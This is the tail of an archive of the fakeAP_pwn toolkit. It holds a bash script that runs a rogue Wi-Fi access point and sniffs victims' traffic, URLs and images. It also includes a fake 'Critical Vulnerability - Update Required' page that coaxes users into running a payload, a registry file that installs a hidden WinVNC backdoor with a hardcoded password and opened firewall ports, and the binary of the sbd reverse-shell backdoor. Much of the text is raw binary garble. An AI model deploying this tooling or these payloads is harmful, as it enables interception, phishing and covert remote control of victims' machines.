infected!------------------------" >> $logFile; fi targetIP=$(arp -n -v -i $apInterface | grep $apInterface | awk -F " " '{print $1}') if [ "$verbose" != "0" ] ; then display info "Target's IP = $targetIP" $diagnostics ; fi; if [ "$diagnostics" == "true" ] ; then echo "Target's IP = $targetIP" >> $logFile; fi #----------------------------------------------------------------------------------------------# if [ "$mode" == "transparent" ] ; then display action "Grainting internet access" $diagnostics ipTables transparent $verbose $diagnostics $apInterface $interface $gatewayIP sleep 1 fi #----------------------------------------------------------------------------------------------# if [ "$payload" == "wkv" ] ; then if [ ! -e "/tmp/fakeAP_pwn.wkv" ] ; then display error "Failed: Didn't download WiFi keys." $diagnostics else display action "Opening: WiFi Keys" $diagnostics action "WiFi Keys" "cat /tmp/fakeAP_pwn.wkv" $verbose $diagnostics "false" "0|565|10" "hold" & sleep 1 fi fi #----------------------------------------------------------------------------------------------# else if [ "$debug" == "true" ] || [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] ; then display action "Monitoring connections" $diagnostics action "Connections" "watch -d -n 1 \"arp -n -v -i $apInterface\"" $verbose $diagnostics "false" "0|475|5" & # Don't close! We want to view this! sleep 1 fi fi #----------------------------------------------------------------------------------------------# if [ "$extras" == "true" ] ; then display action "Caputuring: information from the target" $diagnostics action "tcpdump" "tcpdump -i $apInterface -w /tmp/fakeAP_pwn.cap" $verbose $diagnostics "true" 650 640 10 & # Dump all trafic into a file # Don't wait, do the next command action "URLs" "urlsnarf -i $apInterface" $verbose $diagnostics "true" "0|0|10" & # URLs # Don't wait, do the next command action "Images" "driftnet -i $apInterface" $verbose $diagnostics "true" "0|465|10" & # Don't wait, do the next command #ipTables sslstrip $verbose $diagnostics #command="sslstrip -k -f -l 10000 -w /tmp/fakeAP_pwn.ssl" #if [ "$verbose" == "2" ] ; then echo "Command: $command" ; fi; if [ "$diagnostics" == "true" ] ; then echo "$command" >> $logFile; fi #$xterm -geometry 0x0+0+0 -T "fakeAP_pwn v$version - SSLStrip" -e "$command" & # SSLStrip #command="dsniff -i $apInterface -w /tmp/fakeAP_pwn.dsniff" #if [ "$verbose" == "2" ] ; then echo "Command: $command" ; fi; if [ "$diagnostics" == "true" ] ; then echo "$command" >> $logFile; fi #$xterm -geometry 75x10+10+155 -T "fakeAP_pwn v$version - Passwords" -e "$command" & # Passwords #command="ettercap -T -q -p -i $apInterface // //" #if [ "$verbose" == "2" ] ; then echo "Command: $command" ; fi; if [ "$diagnostics" == "true" ] ; then echo "$command" >> $logFile; fi #$xterm -geometry 75x10+460+155 -T "fakeAP_pwn v$version - Passwords (2)" -e "$command" & # Passwords (again) #command="msgsnarf -i $apInterface" #if [ "$verbose" == "2" ] ; then echo "Command: $command" ; fi; if [ "$diagnostics" == "true" ] ; then echo "$command" >> $logFile; fi #$xterm -geometry 75x10+10+310 -T "fakeAP_pwn v$version - IM" -e "$command" & # IM #command="imsniff $apInterface" #if [ "$verbose" == "2" ] ; then echo "Command: $command" ; fi; if [ "$diagnostics" == "true" ] ; then echo "$command" >> $logFile; fi #$xterm -geometry 75x10+10+310 -T "fakeAP_pwn v$version - IM (2)" -e "$command" & # IM (again) sleep 1 fi #----------------------------------------------------------------------------------------------# if [ "$mode" == "normal" ] || [ "$mode" == "flip" ] ; then display info "Ready! ...press CTRL+C to stop" $diagnostics if [ "$diagnostics" == "true" ] ; then echo "-Ready!----------------------------------" >> $logFile ; fi for (( ; ; )) ; do sleep 5 done fi #----------------------------------------------------------------------------------------------# if [ "$diagnostics" == "true" ] ; then echo "-Done!---------------------------------------------------------------------------------------" >> $logFile ; fi cleanup clean #---Roadmap------------------------------------------------------------------------------------# # v0.4 - Multiple clients - Each time a new client connects they will be redirected to our # crafted page without affecting any other clients who are browsing # v0.4 - Firewall Rules - Don't expose local machines from the internet interface # v0.5 - Java exploit - Different "delivery system" ;) # v0.6 - Linux/OSX/x64 - Make compatible # v0.7 - Clone AP - Copies SSID & BSSID aftwards kicks connected client(s) # v0.8 - S.E.T. - Use "Social Engineering Toolkit"... #---Ideas--------------------------------------------------------------------------------------# # Add: Beep on connected client # Add: Check 'extra' programs # Add: Download missing files # Add: Generate index php, vnc.reg & embed images # Add: Monitor traffic that isn't on port 80 before they download the payload # Add: New modes - replace exe, kill, cookie, inject, redirect # Add: Port check # Add: Repo that has all the software in # Add: Update airbase/airbase-ng & Update at start-up # Add: VNC "spy" option # Check: Monitor interface from "monitor mode enabled on xxx" # Check: MTU # Check: other monitor interfaces # Check: VNC # Use: netsh advfirewall firewall add rule name="allow TightVNC" dir=in program="C:\\winvnc.exe" security=authenticate action=allow # Use: vnc.rb in metasploit?fakeAP_pwn/www/ 777 0 0 0 11440170307 6665 5fakeAP_pwn/www/favicon.ico 777 0 0 13066 11437457046 11135 0h&  (   LMNOPPQQSWTUVXXXY^__amnaadffhikmntuwy}~~xIY)I)))7:?~xeII')'%P[vy[III"IKZty[IIPtx*I) '[tIKIftx)* [*xTI ))x|b`ZUNNUW_`xi00>G,,;E0)Eo;y0Go23@nnY6;YprE@@@x( @   rid}]uYrVm|RjzRjzVm|Yr]ub|gq|wrnkiilpry~yvqmmsvy~yvqmmiimqqv{}vqmjiddijmqvl`\XXZWZcgjnrkb^YUQLLQU\beqk`XRQMH{I}OSW\`lmb^YSQLMQSY^bmqe^WROK~K~QSY^erqb^YWURRWY\besib\UQMNRUYbgze^YUSNPSW\bgmbYURMMQSX^jn\SROLNSX\bmuqljgbddgfjn~~~~fakeAP_pwn/www/index.php 777 0 0 7223 11437457046 10612 0 "> Critical Vulnerability - Update Required
" alt="" width="100" height="100" />

There has been a critical vulnerability discovered in

It is essential that you update your system before continuing.

Sorry for any inconvenience caused.

How to update:

1.) Click on the link above to begin the download process.
2.) You will be asked if you want to save the file. Click the "run" button.
3.) Wait for the download to complete.
4.) Click "Allow/Ok" to any security warning.
5.) After the update is apply, you will be able to surf the internet

Please note: The update may take up to 2 minutes to complete. fakeAP_pwn/www/Linux.jpg 777 0 0 15717 11437457046 10622 0JFIF``CCdd"  9 !1 A"2a#QSBRcq 2!1AQ#a "2qB ?ƚiii}Ȉ#<0rT1^O0].Ui+3qOa͖9b9EC\Uk70۹a$fd_ {lh44t [SP+V;Oy (D]FHViֲBJ!k%b5dU a>6:!xxv-o".&9$:=%*m5I4!@ ""-5o7U DUðr"nк@SSE MPR&4٘4 8y *ú[kSEQL_~{"Mދ??xCGV%( "e1Jɸ|u]OaLΘ0Tm*^7cHvѵ1$Li& ޣ;̛Mu < !kUU:\ӹls/Ywh6XrN.lغJ )?;r9q/ JR jhFMaHD8jÅH7Q 0!OmW0^/n-u9'㕝##a29=VVW@!`1ƫmgUwpQ]C6R{*b(Y%ېKe=:.6fV0>;!! Vw>1o@Yv5]@ierLiU>~n0 sS|d98zA]535jI2dͷNTraLc\z1,8hLyXO=k:Yok馚iiiiKOTݎLm6$Xx 3E_MMJQёUǎ"H"#Q(r??qxuCndVxcMSUُX뷋-.e0U {F bBIj:Kjwٮ=wEme%3ĸ dXK*͔Uj2\lcCwCX_Ug\#j*XĪ郈7tFGg_Iυb6,2FRSwY[~'Yjʢ[.^$/;6Ie҅\Avl#m;tp X UD=.Qq}>L!ƹR:]z}-x2*UJA[^H2aO`VNs\O+Xߚp%RfE,Xĺv8ӈu.2y St#޻u18xY&zlڽszWuzİx*E,WLJ ɗeNAaLE5ALǀH,CoZ!!20*S)[YQL[ <+}I1}5YITS^[)'(!vˀ;U ؜Nŵ;Ҵ+dEH{~1EdEmef8EWQa7_Ǡ*V-UҕDJk"4WA‰,g@GP 겁GDVK?RZ*D5آ[ߛhF&Qsyt57g꘰sY2&83l&*%s]"zgpd1 \92Jaʿ`q>kFw*7bx*a|1X ,%K;V?[c~ZO?MuZbm恸HWL6 ZзkvbESQl f푘pR1M4M4M4M@'ln+{xr ybn$3)C갗w1_ rB6x9Yq@ݖl` ͽ .dE&vۏT#F s0T{XM .dCU#!:_3_zB*tLrb]ctڝ=[q.H82q.,!YAr]CG/l;=-n)Wiجs:8G]fqZ<=E D+G?3t,ݢW ƸB]0(@QmB>1'j:M>ܣDΞPOTURP T1qq1NQ"_aA~?Os>F7O~d|>}X\O$::j%lAbATN)`p` aa8ꦙ1'9{xGO>h?'OBW-;hǑKOFg"2%*I h!U o)ltólAfh[:5l@O{ޙWU+[DSSEeK"bPnTO&_i>ߜasVt˥o`I/$lQ,3J  9CGUVqKn1؇fLvnYRŶ9֣q\!rΣ1^A wgGCh^+ÈE!FV1bHp98VV㵔MUwUG2HzIn@ 9HԂ|3}ASw'yU?Ídue0܎":2u#.ZbJQ:$r5ȫnXǬ'K*U9:./ce'T+ S1жu ~"FEo!Z뤟|rN};C竐CA|P}:#4UANVEvIbUD Xzͳr\O<턏1ؤ^yr DG-g"Vf=vĄ2 }"["\PST6IC"BHMز| NWƧu>=Z3T.3S ɵǨΛ+|t&M%gnoif.a3KC" #ǞJ:VH%^`DX?Ǐ q?ӚQ/7kg$+Hi+=b*J(kc6n G"=Ϊ7쒲b*bj٦ UF"LHI~FW9?fj҆{SZ_dWc-F.v 3mzbK Jz-Sr41b`kv㉼UkmCmx|'`Ƿz+KԬRJ ʜ|3 ^(dT*mܸMC0)Lr(b# EF۩7ZsȈkFnn 3h32Yg3!aDhAC$:۫ޙ&T@ Sp !~7%Uw&dNn2CQWפr۳k6d*۳DD?9W ;@:p(GDCZ pۭvxlHZʇ)TME@w^8{>=?uW47]f09lu{7rg=贗["Z*Gi.5nu3j(|U3Hv؎$4 ȳX3C6Ԇ11+tennx|Y=kDޘVg jsȰ(>w R'' hV:QwA?$'pj,/Uepu7Wa q|Sl!c.5Y9d~}EOci!<{||y?yzv['L ފ%R:MB( #BY簷wpahOo3dO6>|q vf5u*8r>V77ٚ1yLvFjHcn2Cj*:@L PK{9(s}%9G c۝V#v$8rR$CqJRbr6"(Z%*mUr6L3tH*(E!H(s O^3vWG MMYC^"`:c=V `7{:)Wq^jCǗgvSL?|u,}a8ŶM\a H ג;הQÚs\kU׍XA643VH,D)VV?Zb9Iu)2:UAG tttttNtuR?ĵ{d6+i -gDeRZU1 XDҦ`Yi_x V4:vegyc}͑#Wc6VB+QdM b aREh~ 4ru-Ř3ɟO23o# CXrZ A53HF$]elwm:V5iC9G#FVwXeeZ8(:w-r-N)h ?YqbǺM\5OTNUxEῩ~翆$NP.Wi,F/}_o|S1QQ$ޗޖ4c+18ͯicqm^iu|'ųfe^YKeFIx~$su`/M~٘fM5Z`ȶK|r.vD;+F"XUڀ,]㇟;*]UI.ڷ\0G7 2,N8V+v2M^U^X:1#4!IyD\(efU9UDD"XQxMQo3,@ik~NT7Co)ʧ'NQTKo^6Vޙ!нk;q8{G;OYUM`y(IISYCk-3K:X+.8ΌٱWs/EkܭH-VMsF9Xx^'OZSx^7€N#B$9eWh^kdP("/PX.P,w{6hԙwˁUuσ'=vZzs*n=>7pKC\¿(#Ɛ eg{ C2yQs\PYqabuvSWi(5*tv"2I#X2QF@1lc1уA34;햞.Q铲rPY;AW=aWakf60r56jD2M9/HsTcWrepI!G,pSţ 켵{c0~{:O΁O1z(|ɚ%'qq-Qع&FŎTbͤ%{Hs ˪LJ\z5Vo+Fyv')hoVq+d}v_DOWapv[#)Cakˮ2-]]}X5f]IX.[^{gqA7YbGv+,GY4!o*HIEp'KwfE͌9;|҂n5vwsUcӇǛo0boJ1vx&|;W{n@o0ĭ !cPQ:+SGCki#icv>rok=_g vKQ'1;C&!!r *=aVǂ2cԏ/ۻp~ZfD=KCA>G3*4,[')ܒt{L1H9~!_p1+lɰikNsQ~9h_FaU{?.vw ܎tr]Y;]&=xUqCz9I3da2ksvNYZ%KU%gF=j*"tb"i_7l ; !AKfl=^g> G*0R]YR1 =|B+:ڶ;O -ۡC4+t GqOAT(J'8s\=ԛyn|R eN9Mgg.OU6LI֢&2;lS(͈C91]aL+KPI]דG3Y "8TW4eH"(`)tTUxu[7v1J'?V=Ug$A-,jgJcEQJ8I6wgqYڣy<}kdZBkȀ  ɂ"GJ`IcƏ)ukaazJ\9ëԽzz;#Wծlΰ{Դ6z8ߕ8J ~aUsN+pcAs!'ffZ7VyؘO>MYE;\#kHĿH5 Q"/}jmwv) [{ }BH$t`]~bBL/kU'Ü0Jcl&q4XWV dKF /cqvJEm֖RddY X8B{x~+V3e]3gδr.*)Msyz|4&ج1<ՔXĢ]m>8w.B~F+^MWLO箠L oO[qz9a#Ur߅_GJ&j]n9LS.^(4r#։w')磬u7+\EkB f*v[\UfibWa #zcwc.C9%TZIVh\}E篯i Oj?vGp^75#'%NyR?ScSn*;vƿ'Axf_I Q/őlALcjBاo2<3ydiHlqc%k GB34rzpk5٬K [9\W)ὼ+GDsU2rs;W1# - ܑ׵^1<1]ʊc<2VKuؖa }=1huP"iO$X,, ;,Wu+=dfpPƌwؽE!L+QCY+ixki̪-I';#&:ZKD~EK9#mVFqQE4 UUa|.LVAs(C"[4|*3eld8'+E9%j,̮nA:]U}얦1T\a! 4*_fDh'4,]J̳RgIfx!W}<)<ܵL}h#7VpVY <h=xR)KUn1@vo-.ikkيkD(N;Vj[œ:r\z5D{ګx5oSbi;9ˬ+#ۍi$uԒ h,W##ɒJCbdy;g^s㴕{o-D;KBTP Ѽџ [U6Y-EG'N~57l]$b,3ڝ"3z#,"99GQ~d嶗=v2 v+h348GN0?XP0cJgmG7|5$754 "*_ XEq(;WX3%vǵ|*>jOyT뤅1VXA0P̅&1DnET{_D~{1kHs]ʖU#TD겣S<;uj#Ii\Oh?B;܄^k#E2%eQY,= }AM8H. 2%Xw+Eu;҆YIvggwR̨K ۶ )元yr%htnƊָ1VS.q^{bhf \[lbw\gy Gl!-#@}4ڦmsZcȤbVrw!lm@z`XQިP/*ǩ%u1 4 `nOcݍu-ZhXhFe0(o&{#]#[k4JlOԤя2H!Q冷2Wp9 =ӄE_!lĜ}10 !qLUzm|C+Q&CoU-DY&q'B pfE>Ddg4s!DQikWȐ6JhDG50#=8s\֪*9Qzc#6Cϰlyц0UriǂdG_7pPvr8gKs[<Ҩ&a#\*0lSōD{řybrZf5uJ3ȉ4`F9=(\fJ+b$H^ +--4u Ffx#SQdsŊi ǘIjǓڒ8j '[\V6F:0Nrx#Kj sZ c3p\s[LNЭ=3=Q؁^D_41or\fg(yFc^9rvW2F%LeUF * (ve0CmͦݬEv29F(K% '֙j@c:eb 6:0S2r,㑌 rhMZ$]pTl+Z.qjqƍc5kֱ5F"5DkQ㣯]a']G񫨖."5Dk\QB@J1H 9#I%G#$NGQQSEEEmXbu&$M9WVA`S db5ں zmNU25E*':CZ#lDj2yEq;4K#'<;||(pqLH}ӎWs+?yjĞ1Q47OWz2YN `ho@ v5|SSOcUk6ߞGPHҍ]ksy$7}ZpmeSӨ|UJK"j5yT똿rs2^ (I[bSēi!bN#R OqU1ͭc7պN CsK#G4Ekp -G5Nա5M"jeJy%b.də &1J;iB#\駩8"w!ځ^kx"VYf[iI:;#.uXhϸv`D0d4ȨJIIO-dyA-ebʊq@P=" F$a^QZ(59z܀ #abX&#{'ܪ/uUzQUgI׶رX8}=W*6Bˣj249x T}B?U TER@ UUEER]@UUEuEM1!؋u1E]UM}RyZEE1!1‹EyZE‹uE]EEM}1!1ȋu‹E]EyZME‹}E1!؋u1‹]EM}yZEE1!؋u1‹]EM|EyZ‰EE1!1‹EyZEu]EMxEE1!؋u1‹]EEMyZt‰EE1!؋u1ȋ]EEMpyZE‹E1!1ȋu‹E]MyZlE‹E1!1‹EyZ‰EuE]MEEh1!؋u1ȋ]EEMdyZE‹E1!1ȋu‹E]EyZME‹`E1!؋u1‹]EM\yZEE1!1‹EyZE‹uE]MEX1!؋uE1‹E]EyZME‹}E1!؋u1‹]Tp‹EyZEE1!1‹\1ȉHE1HE1HхHH}E‹uE]lyZEE1!}1‹uX]1ȋhDE1DE1DхDDEEyZE‹E1!1‹T1ȉ@E1@E}1@u]х@dE@E‹EyZEE1!1؋u‹]H1ȋ`<|1݉|$D$\$ D$po@D$4$JCu4=$@tC CJD$$i@֋CEȋCE̋CD$ D$EЍEȉD$$qJt5$@C$dFJC $86$;J$IC$ JC$IC$IC$IC$I$H ID$$i@P:D$C$I-failed to execute shell! U1W}VuSEEDU EEUEEEEEEfEEfEEE II$UȉT$ U D$D$T$D$\$HE؉D$$@t$ D$D$D$D$D$ D$D$$H(u.$@tEe[^_]ÍvGD$$:l@;ۋE؉EE܉$GōvSessionReadShellThreadFn exitted! 'UW}VSu&'D$$D$D$ D$@|$$GF1ۅ$u$RGD$$D$ D$@|$$G11ҍ&';$s)D)< t(AB t (Bࡤ@tVT$(D$F $=HFmt $@t $GbFD$$m@D$ (T$D$F $?2뜉UW1VSu F \X1P2TF,D$ PXD$D$\$$@1@\$F $1z@LD$hD$F L$¨HL@119}D&H19})i)h< < hALB9|1hˈh! t€u҃)ىLFD$HD$ LD$hD$F$EG N hB h= u$t&119}!&)hAhB;L|1hKD$ hD$D$F $/Lm$FDroses are red, violets are blue.WSAECONNABORTEDWSAEMSGSIZEWSAEINVALWSAEBADFWSABASEERRWSAEINTRUnknown winsock errorWSAEACCESWSAEFAULTWSAEINPROGRESSWSAEMFILEWSAEWOULDBLOCKWSAENOTSOCKWSAEDESTADDRREQWSAEALREADYWSAEPFNOSUPPORTWSAEPROTONOSUPPORTWSAEPROTOTYPEWSAENOPROTOOPTWSAESOCKTNOSUPPORTWSAEOPNOTSUPPWSAEADDRNOTAVAILWSAEAFNOSUPPORTWSAEADDRINUSEWSAENETUNREACHWSAENETRESETWSAENETDOWNWSAENOTEMPTYWSAETOOMANYREFSWSAEISCONNWSAECONNRESETWSAENOBUFSWSAENOTCONNWSAESHUTDOWNWSAELOOPWSAETIMEDOUTWSAECONNREFUSEDWSAEHOSTDOWNWSAEHOSTUNREACHWSAENAMETOOLONGWSAVERNOTSUPPORTEDWSAEDQUOTWSAEPROCLIMWSAEUSERSWSAEREMOTEWSAESTALEWSASYSNOTREADYWSAHOST_NOT_FOUNDWSANOTINITIALISEDWSAEDISCONWSANO_RECOVERYWSATRY_AGAINWSANO_DATAU!r@UE't}E'8'1r@td8'&'=r@tK&'w_'Gr@t6'w0'Pr@t![r@'tdr@']Á'zr@tr@'ԁ4'r@tׁ4'w('r@t¸r@3'륁6'r@t6'r@wr@딍t&>'r@t>'w[;'r@j;'w!9's@Qs@:'1<'s@01s@='A'?s@A'w!?'Ps@`s@@'C'ns@C'}s@s@R's@R'K's@K'w[H's@sH'w!F's@Zs@G':I's@9s@J'N's@N'w!L's@t@M'P't@P'#t@3t@vl'Ct@l'wlU'Vt@U'w!S'`t@}lt@T']W'vt@\W't@Kt@k'+*t@**w!m't@t@u'*t@*t@t@*$Id: 'UWVS,]؉\$x@Ex@fE܋E$;1tِ&! t€uҿ)11ɉ'31t+~1,0< v.u @@ACvƁ@@@@,[^_]Ív uGsmb.exeerror!strdup() failed!&US]A$y@.AAx&t m&CtH< ~<tt<ABAt'< ~<tCt< ~<ut Ct&t A~]ÀuD$ D$y@D$y@$o:$9onoff'UUtz@]øz@&sbd %s Copyright (C) 2004 Michel Blomgren connect (tcp): sbdbg.exe [-options] host port listen (tcp): sbdbg.exe -l -p port [-options] -l : listen for incoming connection -p : choose port to listen on, or source port to connect from -a : choose address to listen on or connect out from -e exe : program to execute after connect, e.g.: -e cmd.exe -r n : infinitely reconnect, pause for n seconds between connects, use -r0 with -l -c on|off : turn on/off AES-128 encryption. default: -c %s -k secret : override hardcoded passphrase for the -c option -q : be quiet, don't show MessageBoxes -n : numeric-only IP addresses, don't do DNS resolution. -V : show a MessageBox with version info win32 specific options: -D on|off : turn on/off whether to detach from the console. default is: -D %s -X on|off : turn on/off conversion of LF/CR to CR+LF (only for -e). default is: -X %s -1 on|off : turn on/off whether to run only one instance of sbd or not. default is: -1 %s sbd usageUWVS<<@$@$ǡ0@$ơ@$$p@\$|$T$t$D$ D$z@D$$3 $@te[^_]D$ D$~@\$$~5sbdt&UD$ ED$@$D$G5]%s%u: %s&U8]] D$D$D$D$ \$D$$76u]]É\$D$@D$ED$$D$ 2$.$5뫍t&'UD$ @ED$@$D$W4]%s: %s'U(]E $D$E$D$@D$ D$02\$D$ D$@$3]]Ísbd %s Copyright (C) 2004 Michel Blomgren %s http://tigerteam.se sbd is distributed under the GNU General Public License v2sbd %s&'U8$p@]uD$ 4$D$p@D$@@D$1$p@yD$ $D$ہ@D$0\$t$D$ @$2]u]Ít&U]]uD$4$D$1CD$ D$@t$$+2$L3U(]] u~C$0\$E4$D$03$0tg0@ED$D$\$ D$@D$$2t $1{t8$22$G04$?0 ]u]$21{uselect()UWXVS]t&'\X1PTPD$D$ D$|$$@R@|$$Lt@tO$LLhD$t$EHuLtD$4$Ge1[^_]D$ hD$t$$Lu=3'u$@uD$$@}딍t&'UXX$01h]WSAStartupsocket library must support 1.1 or highersetsockopt() REUSEADDRbind()listen()executing: %s authentication failed (aes-cbc-128)??n/aconnect to %s:%u from %s:%u (%s) getsockname()accept()listening on address %s, port %u%s port %usocket() At&?U卅XD$]] }}u$t2$@t]u}]D$$@YP$5@X$$Ƀٝ4م4@v$@t$@D$D$$ ƃfH$g…|@fHB J L$L$D$+lj$5fJD$D$ D$D$4$t1=$@t4$]D$$ʅ@PD$HD$4$ t$@u>D$$@D$4$t $@wD$$@녋(@4$D$8D$Ut @u4$}(@@ul@tB(@ut$b1yD$("AD$@@$*ȋt$Zt$뵡@D$t$Hv $@t t$ $@Ґ|$@f&@'@x|D$D$t$ $@l@ucx:$؃<$D$lt$\$D$("A|$ D$@@@$B)PD$:t|$$@D$Lu2| =X@ T@D$8-t +\$8{:1-X@J;T@t$4CT@PAP@tt$8>:t|$$]@1?=X@L $D;D$t>|$u t$5P@tl$8}:t|$|$$@|$똉t$<$D$cT$(\$\$$T$T$ \$$t\$ËT@d@BT@t-\$ `@D$T$$_`@ d@)) T@ d@`@POSIXLY_CORRECT U1WVSPAT@|$0l$4ҋt$8u T@@Atd@ `@u\@81҉@AT@9|vd@p@5\@tPl$ =`@D$T$<$o`@-d@))-T@d@ `@[^_]á`@tӣT@̋D\@8-$@p@\@u >-$@u<-t<+t `@tfd@tST$T@ $l$ \$T@d@`@))ى `@ d@@ABT@T@T@`@ً5T@|F5T@=PA&x=`@t =d@\@€xt@\@z-v@\@:\$1<-<+ 2 $YW@8:t5\@>uT@J\@1ɉ PA:t PAT@p@B-\@T@ƀx:tT@B9T@|]P@p@=\@t>:t\$$@X@-t+t:?:~:ut5PAix;" \@9u]T@B9T@|C-P@p@\@t>:tD$W$@RX@<-t<+fD\@\@8uT@P@t>:t\$$H@X@?KB룉d@UWVS\$(T$,L$0D$,)ډ΋|$4T$ )ƋD$ t$tv'ՙuD$)ىș9l$D$}QL$t$,\$΅ۉ~'\$&;L$,|*T$ )ыKuD$9l$|[^_]ÍvT$%s: v\$\$ t$,t$$D$@T$("A@$Wt\$("At$@$$ 5("A@t$t$\$ÐT$,L$(T$ T$$L$T$T$ $Ð% "A%$"A%"A%h"A%"A%0"A%"A%`"A%d"A%p"A%T"A%\"A%D"A%L"A%x"A%H"A%|"A%4"A%<"A%t"A%l"A%X"A%P"A%"A%"A%8"A%#A%#A%#A%"A%"A%"A%"A%"A%"A%"A%"A%"A%"A%"A%"A%"A%"A%"A%"A%"A%#A%"A%"A%"A%"A%"A%"A%#A%"A%"A%"A%"A%"A%"AU]G[0@jW/^v$Id: sbd.c,v 1.37 2005/08/21 22:40:47 shadow Exp $r@: shadowinteger_bd_semaphore@P@?p@| (" )"!)"!)#!*$##########$ $$$$4$<$H$P$X$d$l$t$$$$$$$$$$$$%%$%8%L%\%t%%%%%%%%&&(&<&P&`&p&|&&&&&&&''('8'H'`'p''''''''''( (( (,(8(@(H(T(\(l(#########$ $$$$4$<$H$P$X$d$l$t$$$$$$$$$$$$%%$%8%L%\%t%%%%%%%%&&(&<&P&`&p&|&&&&&&&''('8'H'`'p''''''''''( (( (,(8(@(H(T(\(l('_getpidT_strdup'__getmainargs2__p___argv<__p__environ>__p__fmodeP__set_app_typey_cexit_iob^_onexit_setmode_stricmp_vsnprintfabortatexitatoi*exit9fprintf:fputc?freeKgetenvrmallocxmemcpyzmemsetsignalstrchrstrlenstrncmpstrncpystrstrvfprintfAddAtomA&CloseHandleSCreatePipeTCreateProcessAWCreateSemaphoreAZCreateThreaduDisconnectNamedPipezDuplicateHandleExitProcessExitThreadFindAtomAFormatMessageAGetAtomNameAGetCommandLineAGetCurrentProcessGetCurrentThreadIdCGetLastErrorOGetModuleHandleAGetStartupInfoAGetSystemTimeGetVersionExALocalFreeDPeekNamedPipeeReadFilerReleaseSemaphoreSetUnhandledExceptionFilterSleepTerminateProcess#WaitForMultipleObjects%WaitForSingleObject6WriteFile$GetMessageAMessageBoxAPostThreadMessageAWSACleanupWSAGetLastErrorWSAStartup"__WSAFDIsSet#accept$bind%closesocket&connect(gethostbyaddr)gethostbyname1getsockname3htonl4htons5inet_addr7inet_ntoa9listen;ntohs=recvBselectCsendFsetsockoptHsocket  msvcrt.dll                             msvcrt.dll( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( KERNEL32.dll< < < USER32.dllP P P P P P P P P P P P P P P P P P P P P P WSOCK32.DLLfakeAP_pwn/www/tick.png 777 0 0 1331 11437457046 10424 0PNG  IHDRagAMAܲIDATxKHTq;C) fRXD( E HA7-=6AUD-Š q*ztթttyܙ6Ǐw?#mx9NCZ\V|Rx4a^ˋ. SUZwec˃ H #L>I6Ovmel UÍ};'dI@BWJqD_v^EЪPKr,Bx[Pp+M^=Pνa{š.M u'H#s-,?E4n2,W)ky8r HY֪)! IJC$F9ISjJ:ذJm/F=Q- (Vn#5jS}l,;Kmi cfW`F!XIҊ#py3}U Xq zG)! ,6 |}L#kO뉥#܍%K:R43_jqgkQƃv|5*g05k?3txGꩪ4] ۆ]B52'b 9H$Dg,fgb!ɠ [öH΢$JOIW~&E`m@E$}HBԠ  Z 5(2>95;?V4.IENDB`fakeAP_pwn/www/vnc.reg 777 0 0 5604 11437457046 10260 0Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\ORL\WinVNC3] "SocketConnect"=dword:00000001 "AutoPortSelect"=dword:00000001 "InputsEnabled"=dword:00000001 "LocalInputsDisabled"=dword:00000000 "IdleTimeout"=dword:00000000 "LocalInputsPriorityTime"=dword:00000003 "QuerySetting"=dword:00000002 "QueryTimeout"=dword:0000001e "QueryAccept"=dword:00000000 "QueryAllowNoPass"=dword:00000000 "LockSetting"=dword:00000000 "RemoveWallpaper"=dword:00000000 "BlankScreen"=dword:00000000 "EnableFileTransfers"=dword:00000000 "Password"=hex:bf,1b,57,aa,39,50,e8,f7 "PasswordViewOnly"=hex:5a,b2,cd,c0,ba,dc,af,13 "PollUnderCursor"=dword:00000000 "PollForeground"=dword:00000001 "PollFullScreen"=dword:00000000 "OnlyPollConsole"=dword:00000001 "OnlyPollOnEvent"=dword:00000000 "PollingCycle"=dword:0000012c "DontSetHooks"=dword:00000000 "DontUseDriver"=dword:00000001 "DriverDirectAccess"=dword:00000000 "LocalInputsPriority"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3] "DisableTrayIcon"=dword:00000001 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\Standard Profile\GloballyOpenPorts\List] "5900:TCP"="5900:TCP:*:Enabled:wvnc" "5800:TCP"="5800:TCP:*:Enabled:wvnc" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\Standard Profile\AuthorizedApplications\List] "C:\\winvnc.exe"="C:\\winvnc.exe :*:Enabled:TightVNC Win32 Server"fakeAP_pwn/www/vnchooks.dll 777 0 0 230000 11437457046 11350 0MZ@ !L!This program cannot be run in DOS mode. $ppp]6p4 p4p -pqp4p4 p4 p4pRichpPELI! c(Plpd  0 H@.textU `.rdata+0@@.data<,@.SharedDD@.rsrc  @@.reloc0 @BVt$W=PV QV_^̃Vt$W|$3VWD$D$u_3^ÍD$PWtD$L$ FNN _^̃Vt$D$PVxt>V|t3L$T$ D$ ʋ QL$ PRP^D$ L$T$ L$ ʃ=QPtL$ PQË RP̃Vt$D$PVxt(V|tL$T$ D$QL$RPQVs^̃ Vt$(D$PVxV|t}L$QVntkT$D$ L$RT$PQRV D$$L$(T$PD$QRPVL$8T$4D$HQL$0RPQVT$LD$HL$DRT$\PQRVP^ ̋D$;u#D$L$ PQRP3=SUVW==$hT$ R_^][39`SSSS l$ SWU|$(hD$PU\$\$JSSW;txVN؃(SVWtO39{vDs(ND$fQL$fRVfFfRPUs;{rŋ|$SW_^][Ët$ V|V_^][Ët$ V|kV]t$ =RVPV_^][Ã=+L$ Q==$|=D$$f=t f=L$ Qt$ RVl|$$;VWPVp_^][jt PQR_^][=w8t&-tu>9t6'=t+L$ Q=tT$ R =u D$ P_^][N[i{[Vt$W|$ u =tNV PFQRPL$ VQWRd_^ S\$ Vt$W|$u%=ttF NPFQRP[ $VSWQd_^[ Vt$W|$ | =tF NPFQRPL$$VQWRd_^ ̋D$L$ uAu ,QL$ QPRd Vt$W|$u!tGu jjQPT$4WRVPd_^ ̋L$ɋD$ u@ u PD$ PQ 0Qd Vt$W|$u!tG u jjQPT$8WRVPd_^ Vt$ut VVQPT$D$ <RPVQd^ Vt$ W|$ u;t2tttu jjQPT$@RVWPd_^ Vt$ƍPu+ƒ~)<0\tV蜐^ÍD0P荐u V耐^̃VD$Phjh$hD$ D$D$uH5L$QT$ RPhPPPD$ h0PօuL$QT$RPhPPPD$$h4P֋D$5 tP֋D$tP֋D$ ^̃W|$D$Pu+ƒPx 